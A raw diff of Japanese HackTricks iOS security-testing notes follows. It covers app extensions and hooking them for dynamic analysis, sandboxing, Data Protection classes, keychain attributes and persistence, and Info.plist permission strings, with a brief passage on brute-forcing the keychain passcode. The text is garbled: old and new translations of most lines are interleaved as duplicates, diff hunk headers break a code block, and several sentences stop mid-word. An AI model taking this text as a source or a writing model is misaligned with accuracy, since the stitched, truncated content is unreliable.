アプリ拡張とその含まれるアプリは、互いのコンテナへの直接アクセスはできません。しかし、データ共有を有効にすることは可能です。これは["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19)と[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) APIを介して行われます。[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11)からのこの図を参照してください:
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
ガイドでも述べられているように、アプリ拡張機能が `NSURLSession` クラスを使用してバックグラウンドでのアップロードやダウンロードを行う場合、アプリとその含まれるアプリの両方が転送されたデータにアクセスできるように、共有コンテナを設定する必要があります。
ガイドにも記載されているように、アプリ拡張が`NSURLSession`クラスを使用してバックグラウンドアップロードまたはダウンロードを行う場合、拡張機能とその含まれるアプリの両方が転送されたデータにアクセスできるように、共有コンテナを設定する必要があります。
**アプリがアプリ拡張機能の使用を制限しているかどうかの確認**
**アプリがアプリ拡張の使用を制限しているかの確認**
次のメソッドを使用して、特定の種類のアプリ拡張機能を拒否することが可能です:
以下のメソッドを使用して特定のタイプのアプリ拡張を拒否することが可能です:
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
ただし、現在は「カスタムキーボード」アプリ拡張機能に対してのみ可能であり(銀行アプリなど、キーボードを介して機密データを処理するアプリのテスト時に確認する必要があります)。
しかし、現在これは"custom keyboard"アプリ拡張にのみ可能であり(銀行アプリなどのキーボードを介して機密データを扱うアプリをテストする際に検証する必要があります)。
### 動的
### 動的
ソースコードを持たずに知識を得るために、以下のことを行うことができます。
ソースコードを持たない状態で知識を得るために、動的分析では以下を行うことができます:
* 共有されているアイテムの検査
* 関与しているアプリ拡張機能の特定
* 関与しているアプリ拡張の特定
**共有されているアイテムの検査**
これには、データの発生元アプリで `NSExtensionContext - inputItems` をフックする必要があります。
これには、データの発信アプリで`NSExtensionContext - inputItems`をフックする必要があります。
Telegram の前の例に続いて、チャットから受け取ったテキストファイルの「共有」ボタンを使用して、それをノートアプリにノートとして作成します:
Telegramの前の例に続いて、チャットから受け取ったテキストファイルにある"Share"ボタンを使用して、それをNotesアプリでートを作成します:
![](<../../.gitbook/assets/image (497).png>)
トレースを実行すると、の出力が表示されます:
トレースを実行すると、以下の出力が表示されます:
```bash
(0x1c06bb420) NSExtensionContext - inputItems
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
@ -149,14 +147,14 @@ NSExtensionItemAttachmentsKey = (
}"
)
```
ここでは次のことが観察されます
以下の点に注目してください
* これはXPCを介して裏で行われており、具体的には`libxpc.dylib`フレームワークを使用した`NSXPCConnection`を介して実装されています。
* `NSItemProvider`に含まれるUTIは`public.plain-text`と`public.file-url`であり、後者はTelegramの「共有拡張」の[`Info.plist`](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist)の`NSExtensionActivationRule`に含まれています。
* これはXPCを介して裏で行われ、具体的には`libxpc.dylib`フレームワークを使用する`NSXPCConnection`によって実装されています。
* `NSItemProvider`に含まれるUTIsは`public.plain-text`と`public.file-url`で、後者はTelegramの"Share Extension"の[`Info.plist`](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist)からの`NSExtensionActivationRule`に含まれています。
**関するアプリ拡張の特定**
**関するアプリ拡張の特定**
また、`NSExtension - _plugIn`をフックして、リクエストとレスポンスを処理しているアプリ拡張を特定することもできます:
リクエストとレスポンスを処理しているアプリ拡張を特定するには、`NSExtension - _plugIn`をフックすることもできます:
同じ例を再度実行します:
```bash
@ -170,27 +168,25 @@ RET: <PKPlugin: 0x10bff7910 com.apple.mobilenotes.SharingExtension(1.5) 73E4F137
F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-835B-F1DAB9AE076D
/MobileNotes.app/PlugIns/com.apple.mobilenotes.SharingExtension.appex>
```
以下は、iOSアプリの拡張機能に関する内容です:
以下に関与するアプリ拡張が二つあります:
* `Share.appex`はテキストファイル(`public.plain-text`および`public.file-url`)を送信しています。
* `com.apple.mobilenotes.SharingExtension.appex`はテキストファイルを受信し、処理します。
* `Share.appex` はテキストファイル(`public.plain-text` と `public.file-url`)を送信しています。
* `com.apple.mobilenotes.SharingExtension.appex` は受信し、テキストファイルを処理する予定です。
XPCに関して内部で何が起こっているかを詳しく知りたい場合は、「libxpc.dylib」からの内部呼び出しを確認することをおすすめします。たとえば、[`frida-trace`](https://www.frida.re/docs/frida-trace/)を使用して自動生成されたスタブを拡張し、より興味深いメソッドを探求することができます。
XPCの下で何が起こっているのかもっと学びたい場合は、"libxpc.dylib"からの内部呼び出しを見ることをお勧めします。例えば、[`frida-trace`](https://www.frida.re/docs/frida-trace/)を使用して、自動生成されたスタブを拡張することで、より興味深いと思われるメソッドを深く掘り下げることができます。
###
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの**会社を広告したい**、または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出する。
</details>

View file

@ -1,86 +1,95 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# 権分離とサンドボックス
# 権分離とサンドボックス
ユーザーがアクセスできるアプリケーションは**mobile**ユーザーとして実行され、重要なシステムプロセスは**root**として実行されます。\
ただし、サンドボックスを使用すると、プロセスやアプリケーションが実行できるアクションをより制御できます。
しかし、サンドボックスはプロセスとアプリケーションが実行できるアクションをより良く制御することを可能にします。
たとえば、2つのプロセスが同じユーザーmobileとして実行されていても、**お互いのデータにアクセスしたり変更したりすることはできません**。
例えば、同じユーザーmobileとして実行されている2つのプロセスであっても、**お互いのデータにアクセスしたり変更したりすることは許可されていません**。
各アプリケーションは**`private/var/mobile/Applications/{ランダムなID}`**の下にインストールされます。\
インストールされると、アプリケーションは一部のシステム領域や機能SMS、電話などに対して制限付きの読み取りアクセスを持ちます。アプリケーションが**保護された領域**にアクセスしようとする場合、**許可を要求するポップアップ**が表示されます。
各アプリケーションは**`private/var/mobile/Applications/{random ID}`**の下にインストールされます。\
インストール後、アプリケーションはシステムの一部のエリアと機能SMS、電話通話などに対して限定的な読み取りアクセスを持ちます。アプリケーションが**保護されたエリア**にアクセスしたい場合、**許可を求めるポップアップ**が表示されます。
# データ保護
アプリ開発者は、iOSの**データ保護**APIを活用して、フラッシュメモリに保存されたユーザーデータの**細かいアクセス制御**を実装することができます。これらのAPIは**Secure Enclave Processor**SEPの上に構築されています。SEPは、データ保護とキー管理のための**暗号操作**を提供するコプロセッサです。デバイス固有のハードウェアキーである**デバイスUID**一意のIDは、**セキュアエンクレーブに埋め込まれており**、オペレーティングシステムカーネルが侵害された場合でもデータ保護の完全性を保証します。
アプリ開発者はiOSの_Data Protection_ APIを利用して、フラッシュメモリに保存されたユーザーデータの**細かいアクセス制御**を実装することができます。APIは**Secure Enclave Processor**SEPの上に構築されています。SEPは、データ保護とキー管理のための**暗号操作を提供する**コプロセッサです。デバイス固有のハードウェアキーである**デバイスUID**ユニークID**セキュアエンクレーブに埋め込まれており**、オペレーティングシステムカーネルが侵害された場合でもデータ保護の完全性を保証します。
**ファイルがディスク上に作成**されると、**256ビットのAESキーが生成**されます。このキーは、セキュアエンクレーブのハードウェアベースの乱数生成器の助けを借りて生成されます。**ファイルの内容は生成されたキーで暗号化**されます。そして、このキーは、**クラスキーとクラスIDと共に暗号化された状態でシステムのキーによって暗号化されたデータ**とともに、ファイルの**メタデータ**に保存されます。
**ファイルがディスク上に作成される**と、セキュアエンクレーブのハードウェアベースの乱数生成器の助けを借りて新しい**256ビットAESキーが生成されます**その後、**ファイルの内容は生成されたキーで暗号化されます**。そして、この**キーはクラスキーで暗号化されて保存されます**、**クラスID**と共に、**両方のデータはシステムのキーで暗号化されて**、ファイルの**メタデータ**内にあります。
![](<../../.gitbook/assets/image (473).png>)
ファイルを復号するためには、**メタデータをシステムのキーで復号**する必要があります。次に、**クラスID**を使用して**クラスキーを取得**し、**ファイルのキーを復号**してファイルを復号します。
ファイルを復号するためには、**メタデータをシステムのキーを使用して復号化します**。その後、**クラスIDを使用して** **クラスキーを取得し**、ファイルキーを復号化してファイルを復号化します。
ファイルは、[Apple Platform Security Guide](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf)で詳しく説明されている**4つの異なる保護クラス**のいずれかに割り当てることができます。
ファイルは**4つの異なる保護クラス**のいずれかに割り当てることができこれらは[Apple Platform Security Guide](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf)でより詳しく説明されています:
* **Complete Protection (NSFileProtectionComplete)**: ユーザーのパスコードとデバイスUIDから派生したキーがこのクラスキーを保護します。デバイスがロックされるとすぐに、派生キーはメモリから削除されるため、ユーザーがデバイスをアンロックするまでデータにアクセスできません。
* **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: この保護クラスはComplete Protectionと似ていますが、ファイルがアンロックされた状態で開かれている場合、ユーザーがデバイスをロックしてもアプリはファイルにアクセスし続けることができます。この保護クラスは、たとえばメールの添付ファイルがバックグラウンドでダウンロードされている場合に使用されます。
* **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: ユーザーがデバイスを起動後、初めてデバイスをアンロックするとすぐにファイルにアクセスできます。ユーザーがその後デバイスをロックしても、クラスキーはメモリから削除されずにアクセスできます。
* **No Protection (NSFileProtectionNone)**: この保護クラスのキーはUIDのみで保護されます。クラスキーは「Effaceable Storage」と呼ばれる領域に格納されます。Effaceable Storageは、iOSデバイスのフラッシュメモリの一部であり、小量のデータを保存することができます。この保護クラスは、データをすぐにリモートで削除するために存在します。
* **完全保護 (NSFileProtectionComplete)**このクラスキーは、ユーザーパスコードとデバイスUIDから派生したキーで保護されています。派生キーはデバイスがロックされるとすぐにメモリから消去され、ユーザーがデバイスをアンロックするまでデータにアクセスできません。
* **オープンされていない限り保護 (NSFileProtectionCompleteUnlessOpen)**:この保護クラスは完全保護に似ていますが、ファイルがアンロックされた状態で開かれている場合、アプリはユーザーがデバイスをロックしてもファイルに引き続きアクセスできます。この保護クラスは、例えば、メールの添付ファイルがバックグラウンドでダウンロードされている場合に使用されます。
* **最初のユーザー認証まで保護 (NSFileProtectionCompleteUntilFirstUserAuthentication)**:ユーザーがデバイスを起動後初めてアンロックすると、ファイルにアクセスできます。ユーザーがその後デバイスをロックしても、クラスキーはメモリから削除されずにアクセスできます。
* **保護なし (NSFileProtectionNone)**この保護クラスのキーはUIDのみで保護されています。クラスキーは「Effaceable Storage」に保存されています。これはiOSデバイスのフラッシュメモリ上の領域で、少量のデータを保存することができます。この保護クラスは、リモートでの高速なワイピングクラスキーの即時削除によりデータがアクセス不可能になるために存在します。
`NSFileProtectionNone`以外のすべてのクラスキーは、デバイスUIDとユーザーのパスコードから派生したキーで暗号化されます。そのため、復号はデバイス自体でのみ行われ、正しいパスコードが必要です。
`NSFileProtectionNone`を除くすべてのクラスキーは、デバイスUIDとユーザーのパスコードから派生したキーで暗号化されています。その結果、復号化はデバイス自体でのみ行われ、正しいパスコードが必要です。
iOS 7以降、デフォルトのデータ保護クラスは「Protected Until First User Authentication」です。
iOS 7以降、デフォルトのデータ保護クラスは「最初のユーザー認証まで保護」です。
[**FileDP**](https://github.com/abjurato/FileDp-Source)は、各ファイルの
* **`kSecAttrAccessibleAlways`**: キーチェーンアイテムのデータは、デバイスがロックされているかどうかに関係なく、常にアクセスできます。
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: キーチェーンアイテムのデータは、デバイスがロックされているかどうかに関係なく、常にアクセスできます。データはiCloudやローカルバックアップに含まれません。
* **`kSecAttrAccessibleAfterFirstUnlock`**: ユーザーによってデバイスが一度ロック解除されるまで、キーチェーンアイテムのデータにはアクセスできません。
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: ユーザーによってデバイスが一度ロック解除されるまで、キーチェーンアイテムのデータにはアクセスできません。この属性を持つアイテムは新しいデバイスに移行しません。したがって、異なるデバイスのバックアップから復元した後、これらのアイテムは存在しません。
* **`kSecAttrAccessibleWhenUnlocked`**: ユーザーによってデバイスがロック解除されている間のみ、キーチェーンアイテムのデータにアクセスできます。
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: ユーザーによってデバイスがロック解除されている間のみ、キーチェーンアイテムのデータにアクセスできます。データはiCloudやローカルバックアップに含まれません。
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: デバイスがロック解除されている場合にのみ、キーチェーンのデータにアクセスできます。この保護クラスは、デバイスにパスコードが設定されている場合にのみ使用できます。データはiCloudやローカルバックアップに含まれません。
[**FileDP**](https://github.com/abjurato/FileDp-Source)は、iPhone内でアップロードして使用できるプログラムで、各ファイルの**データ保護クラスを検査**することができます。
**`AccessControlFlags`**は、ユーザーがキーに対して認証できるメカニズムを定義します(`SecAccessControlCreateFlags`
## キーチェーン
* **`kSecAccessControlDevicePasscode`**: パスコードを使用してアイテムにアクセスします。
* **`kSecAccessControlBiometryAny`**: 登録されたTouch IDの指紋のいずれかを使用してアイテムにアクセスします。指紋の追加や削除はアイテムを無効にしません。
* **`kSecAccessControlBiometryCurrentSet`**: 登録されたTouch IDの指紋のいずれかを使用してアイテムにアクセスします。指紋の追加や削除はアイテムを無効にします。
* **`kSecAccessControlUserPresence`**: 登録された指紋Touch IDを使用のいずれかを使用してアイテムにアクセスするか、パスコードをデフォルトとします。
キーチェーンは、各アプリケーションが**機密情報**を**保存**できる**暗号化されたコンテナ**であり、同じアプリ(または承認されたアプリ)のみが内容を取得できます。\
iOSは**キーチェーンのパスワードを自身で生成**し、このキーの**暗号化されたバージョンをデバイスに保存**します。このパスワードはAESを使用して暗号化され、AESキーは**ユーザーのパスコード + 塩**(デバイス上のセキュア**エンクレーブチップセットにのみアクセス可能な256ビットのUID**)の**PBKDF2**関数によって作成されます。このデバイスUIDを塩として使用するため、デバイスはユーザーのパスコードを知っていても別のデバイスのキーチェーンを復号化することはできません。
Touch IDによって保護されたキー`kSecAccessControlBiometryAny`または`kSecAccessControlBiometryCurrentSet`を使用)は、セキュアエンクレーブによって保護されています。キーチェーンにはトークンのみが保持され、実際のキーはセキュアエンクレーブに存在します。
キーチェーンへのアクセスは、アプリの`Keychain-access-groups`、`application-identifier`、および`application-group`の権限に従って**`securityd`**デーモンによって管理されます。
iPhoneは、デバイスのロックを解除するためにユーザーが導入したパスコードを使用してキーチェーンの秘密を復号化します。
[Keychain API](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html)には、以下の主な操作が含まれています:
iOSは、_**AppIdentifierPrefix**_チームIDと_**BundleIdentifier**_開発者が提供するを使用して、キーチェーンアイテムへのアクセス制御を強制します。その後、同じチームは2つのアプリをキーチェーンアイテムを共有するように設定できます。
* `SecItemAdd`
* `SecItemUpdate`
* `SecItemCopyMatching`
* `SecItemDelete`
バックアッププロセスが開始されると、キーチェーンのデータは暗号化されたままバックアップされ、キーチェーンのパスワードはバックアップに含まれません。
このパスワードをBFブルートフォースしようとする唯一の方法は、暗号化されたキーをダンプしてパスコード + 塩をBFすることです**pbkdf2**関数は**少なくとも10000回のイテレーションを使用します**。または、塩をBFすることを避けるために**デバイス内でBFを試みる**ことですが、セキュアエンクレーブは2回の失敗したパスワード試行の間に少なくとも**5秒の遅延があることを保証します**。
`SecItemAdd`または`SecItemUpdate`の呼び出しで`kSecAttrAccessible`キーを設定することにより、**キーチェーン項目のデータ保護を構成**できます。以下は、[kSecAttrAccessibleのアクセシビリティ値](https://developer.apple.com/documentation/security/keychain\_services/keychain\_items/item\_attribute\_keys\_and\_values#1679100)であり、キーチェーンデータ保護クラスです:
* **`kSecAttrAccessibleAlways`**: キーチェーン項目のデータは、デバイスがロックされているかどうかに関わらず、**常にアクセスできます**。
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: キーチェーン項目のデータは、デバイスがロックされているかどうかに関わらず、**常にアクセスできます**。データはiCloudやローカルバックアップには**含まれません**。
* **`kSecAttrAccessibleAfterFirstUnlock`**: ユーザーがデバイスを一度アンロックするまで、キーチェーン項目のデータにはアクセスできません。
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: ユーザーがデバイスを一度アンロックするまで、キーチェーン項目のデータにはアクセスできません。この属性を持つ項目は新しいデバイスには移行しません。したがって、別のデバイスのバックアップから復元した後、これらの項目は存在しません。
* **`kSecAttrAccessibleWhenUnlocked`**: ユーザーがデバイスをアンロックしている間のみ、キーチェーン項目のデータにアクセスできます。
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: ユーザーがデバイスをアンロックしている間のみ、キーチェーン項目のデータにアクセスできます。データはiCloudやローカルバックアップには**含まれません**。
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: デバイスがアンロックされているときのみ、キーチェーンのデータにアクセスできます。この保護クラスは、デバイスにパスコードが設定されている場合にのみ**利用可能です**。データはiCloudやローカルバックアップには**含まれません**。
**`AccessControlFlags`**は、キーを認証するためにユーザーが使用できるメカニズムを定義します(`SecAccessControlCreateFlags`
* **`kSecAccessControlDevicePasscode`**: パスコードを介してアイテムにアクセスします。
* **`kSecAccessControlBiometryAny`**: Touch IDに登録されている指紋のいずれかを介してアイテムにアクセスします。指紋を追加または削除してもアイテムは無効になりません。
* **`kSecAccessControlBiometryCurrentSet`**: Touch IDに登録されている指紋のいずれかを介してアイテムにアクセスします。指紋を追加または削除するとアイテムは無効になります。
* **`kSecAccessControlUserPresence`**: 登録されている指紋のいずれかTouch IDを使用を介してアイテムにアクセスするか、デフォルトでパスコードに切り替えます。
Touch ID`kSecAccessControlBiometryAny`または`kSecAccessControlBiometryCurrentSet`を介してによって保護されたキーは、Secure Enclaveによって保護されていることに注意してください。キーチェーンはトークンのみを保持し、実際のキーはSecure Enclaveにあります。
iPhoneは、デバイスのアンロックにユーザーが導入したパスコードを使用して、キーチェーン内の秘密を復号化します。
iOSは_**AppIdentifierPrefix**_チームIDと_**BundleIdentifier**_開発者によって提供されるを使用して、キーチェーン項目への**アクセス制御を強制します**。その後、同じチームは**2つのアプリがキーチェーン項目を共有するように構成**できます。
バックアッププロセスが開始されると、バックアップされたキーチェーン**データは暗号化されたままであり、キーチェーンのパスワードはバックアップに含まれません**。
{% hint style="warning" %}
**脱獄されたデバイスでは、キーチェーンは保護されません。**
{% endhint %}
### **キーチェーンデータの永続性**
iOSでは、アプリケーションがアンインストールされると、アプリケーションによって使用されるキーチェーンデータはデバイスに保持されますが、アプリケーションのサンドボックスに保存されるデータは削除されます。デバイスのユーザーが工場出荷時のリセットを行わずにデバイスを販売する場合、前のユーザーが使用していた同じアプリケーションを再インストールすることで、デバイスの購入者は前のユーザーのアプリケーションアカウントとデータにアクセスできる場合があります。これには技術的な能力は必要ありません。
アプリケーションがアンインストールされる際にデータを強制的に削除するために、開発者が使用できるiOSのAPIはありません。代わりに、開発者は次の手順を実行して、アプリケーションのインストール間にキーチェーンデータが永続化されないようにする必要があります
* インストール後、アプリケーションが初めて起動されると、アプリケーションに関連するすべてのキーチェーンデータを削除します。これにより、デバイスの2番目のユーザーが前のユーザーのアカウントに誤ってアクセスすることが防止されます。以下のSwiftの例は、この削除手順の基本的なデモンストレーションです
**脱獄されたデバイスでは、キーチェーンは保護
```objectivec
let userDefaults = UserDefaults.standard
@ -92,57 +101,57 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
* iOSアプリケーションのログアウト機能を開発する際には、アカウントのログアウトの一環としてKeychainのデータが削除されることを確認してください。これにより、ユーザーはアプリケーションをアンインストールする前にアカウントをクリアすることができます。
* iOSアプリケーションのログアウト機能を開発する際には、アカウントログアウトの一部としてKeychainデータが消去されるようにしてください。これにより、ユーザーはアプリケーションをアンインストールする前に自分のアカウントをクリアすることができます。
# **アプリケーションの機能**
# **アプリの機能**
**各アプリには固有のホームディレクトリがあり、サンドボックス化されています**。これにより、保護されたシステムリソースやシステムまたは他のアプリによって保存されたファイルにアクセスすることはできません。これらの制限は、[Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html)によってカーネル拡張を介して実施されるサンドボックスポリシー(またはプロファイル)によって実装されています。
**各アプリにはユニークなホームディレクトリがあり、サンドボックス化されています**。これにより、保護されたシステムリソースやシステムや他のアプリによって保存されたファイルにアクセスすることができません。これらの制限はサンドボックスポリシー(別名 _プロファイル_)を介して実装され、[Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html)によるカーネル拡張を通じて強制されます。
一部の[**機能/許可**](https://help.apple.com/developer-account/#/dev21218dfd6)は、アプリの開発者によって設定できますデータ保護またはKeychain共有し、インストール後に直接効果が現れます。ただし、他の機能については、**アプリが保護されたリソースにアクセスしようとする最初の時にユーザーに明示的に尋ねられます**。
いくつかの[**機能/権限**](https://help.apple.com/developer-account/#/dev21218dfd6)はアプリの開発者によって設定されデータ保護やKeychain共有、インストール後すぐに効果があります。しかし、他の権限については、**アプリが保護されたリソースにアクセスしようとする最初の時にユーザーに明示的に尋ねられます**。
[_目的文字列_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322)または_使用目的の文字列_は、保護されたデータやリソースへのアクセスの許可を要求する際に、システムの許可リクエストアラートでユーザーに提供されるカスタムテキストです。
[_目的文字列_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322)または_使用説明文字列_は、保護されたデータやリソースへのアクセス許可を求める際に、システムの権限リクエストアラートでユーザーに提示されるカスタムテキストです。
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media)
元のソースコードがある場合は、`Info.plist`ファイルに含まれる許可を確認できます:
元のソースコードを持っている場合、`Info.plist`ファイルに含まれる権限を確認できます:
* Xcodeでプロジェクトを開きます。
* デフォルトのエディタで`Info.plist`ファイルを見つけて開き、`"Privacy -"`で始まるキーを検索します。
* デフォルトエディタで`Info.plist`ファイルを探して開き、`"Privacy -"`で始まるキーを探します。
右クリックして「Show Raw Keys/Values」を選択することで、ビューを生の値に切り替えることができます(これにより、たとえば`"Privacy - Location When In Use Usage Description"`が`NSLocationWhenInUseUsageDescription`に変わります)。
右クリックして「Show Raw Keys/Values」を選択することで、生の値を表示するビューに切り替えることができます(この方法で例えば`"Privacy - Location When In Use Usage Description"`は`NSLocationWhenInUseUsageDescription`に変わります)。
IPAのみがある場合:
IPAしか持っていない場合:
* IPAを解凍します。
* `Info.plist`は`Payload/<appname>.app/Info.plist`にあります。
* `Info.plist`は`Payload/<appname>.app/Info.plist`に位置しています。
* 必要に応じて変換します(例:`plutil -convert xml1 Info.plist`。「iOS Basic Security Testing」の章、「The Info.plist File」のセクションで説明されているように。
* 通常、すべての目的の文字列Info.plistキーを調べます。これらは通常、`UsageDescription`で終わります:
* _目的文字列 Info.plistキー_をすべて検査します。通常は`UsageDescription`で終わります:
```markup
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
<string>あなたの位置情報は、目的地までのターンバイターンのナビゲーションを提供するために使用されます。</string>
```
## デバイスの機能
デバイスの機能は、App Storeが互換性のあるデバイスのみをリストアップし、アプリのダウンロードを許可するために使用されます。これらは、アプリの`Info.plist`ファイルの[`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities)キーの下指定されます。
デバイスの機能は、App Storeによって互換性のあるデバイスのみがリストされ、アプリのダウンロードが許可されることを保証するために使用されます。これらはアプリの`Info.plist`ファイルの[`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities)キーの下指定されます。
```markup
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
> 通常、`armv7`の能力が見つかります。これは、アプリがarmv7命令セットのみにコンパイルされていることを意味します。または、32/64ビットのユニバーサルアプリの場合す。
通常、`armv7` 機能が見つかります。これは、アプリが armv7 命令セットのみに対してコンパイルされていることを意味します。または、32/64ビットのユニバーサルアプリの場合もあります。
